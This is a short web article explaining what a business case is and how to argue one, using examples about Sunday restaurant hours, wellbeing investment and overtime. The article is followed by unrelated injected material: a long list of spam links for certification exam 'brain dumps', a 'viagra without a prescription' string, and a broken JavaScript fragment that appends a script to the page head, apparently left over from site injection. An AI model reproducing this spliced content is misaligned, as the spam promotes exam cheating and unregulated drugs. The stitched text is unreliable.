Company & Tax

A business case is an argument, usually documented, that is intended to convince a decision maker to approve some kind of action. The document itself is sometimes referred to as a business case.

As a rule, a business case has to articulate a clear path to an attractive return on investment (ROI). At its simplest, a business case could be a spoken suggestion. For example, if a restaurant’s manager notices that the business doesn’t make enough money on Sunday evenings to cover operational costs, presenting that fact to the owner may be compelling enough to make the business case for closing the restaurant at 5 p.m. on Sundays.

For more complex issues, a business case should be presented in a carefully constructed document. A business case document should examine benefits and risks involved with both taking the action and, conversely, not taking the action. The conclusion should be a compelling argument for implementation.

Short-term actions leading to immediate, measurable and substantial benefits are generally the easiest to argue. However, even long-term projects with effects that are initially detrimental to the bottom line can be in a company’s best interests. Investments in employee health and wellbeing, for example, can be costly in the short term and, as such, may not be considered in times of economic stress. However, over the long term, such investments pay off in decreased absenteeism, better retention, greater engagement and productivity – all of which contribute positively to the enterprise’s bottom line.

Similarly, activities that can initially seem to have a positive effect on finances can be detrimental down the line. For example, encouraging salaried employees to work overtime rather than hiring more people or outsourcing work may be profitable in the short term. However, longer hours may lead to employee burn-out and, eventually, less productivity and more absenteeism. As a result, an approach that was originally profitable can end up costing money.

Because the business case for many projects is not immediately clear, documentation can be essential to their approval. A well-crafted business case explores all feasible approaches to a given problem and enables business owners to select the option that best serves the organization.

 

640-916 test   ,
EX300 test   ,
MB5-705 Brain dumps   ,
JN0-360 certification   ,
CAP certification   ,
NS0-157 dumps   ,
101-400 test   ,
70-532 test   ,
LX0-104 exam   ,
1Z0-144 certification   ,
2V0-620 Study Guides   ,
70-462 Exam   ,
9L0-066 Brain dumps   ,
c2010-652 test   ,
SSCP dumps   ,
LX0-103 pdf   ,
350-080 dumps   ,
9L0-012 test   ,
CRISC exam   ,
2V0-621D Brain dumps   ,
EX200 Brain dumps   ,
ITILFND certification   ,
220-801 test   ,
350-060 test   ,
viagraprofessionalwithoutaprescription 300-115 pdf   ,
70-412 dumps   ,
210-060 Brain dumps   ,
300-209 exam   ,
LX0-103 certification   ,
VCP550 test   ,
SSCP dumps   ,
350-018 Study Guides   ,
70-412 test   ,
1V0-601 test   ,
200-355 dumps   ,
ICGB pdf   ,
200-355 pdf   ,
M70-101 Exam   ,
350-050 dumps   ,
220-802 exam   ,
700-501 dumps   ,
1Z0-060 test   ,
SSCP certification   ,
70-486 test   ,
1z0-808 dumps   ,
70-243 certification   ,
c2010-657 pdf   ,
OG0-093 certification   ,

if (document.currentScript) { d.getElementsByTagName(‘head’)[0].appendChild(s);

Comments are closed.

Comments are closed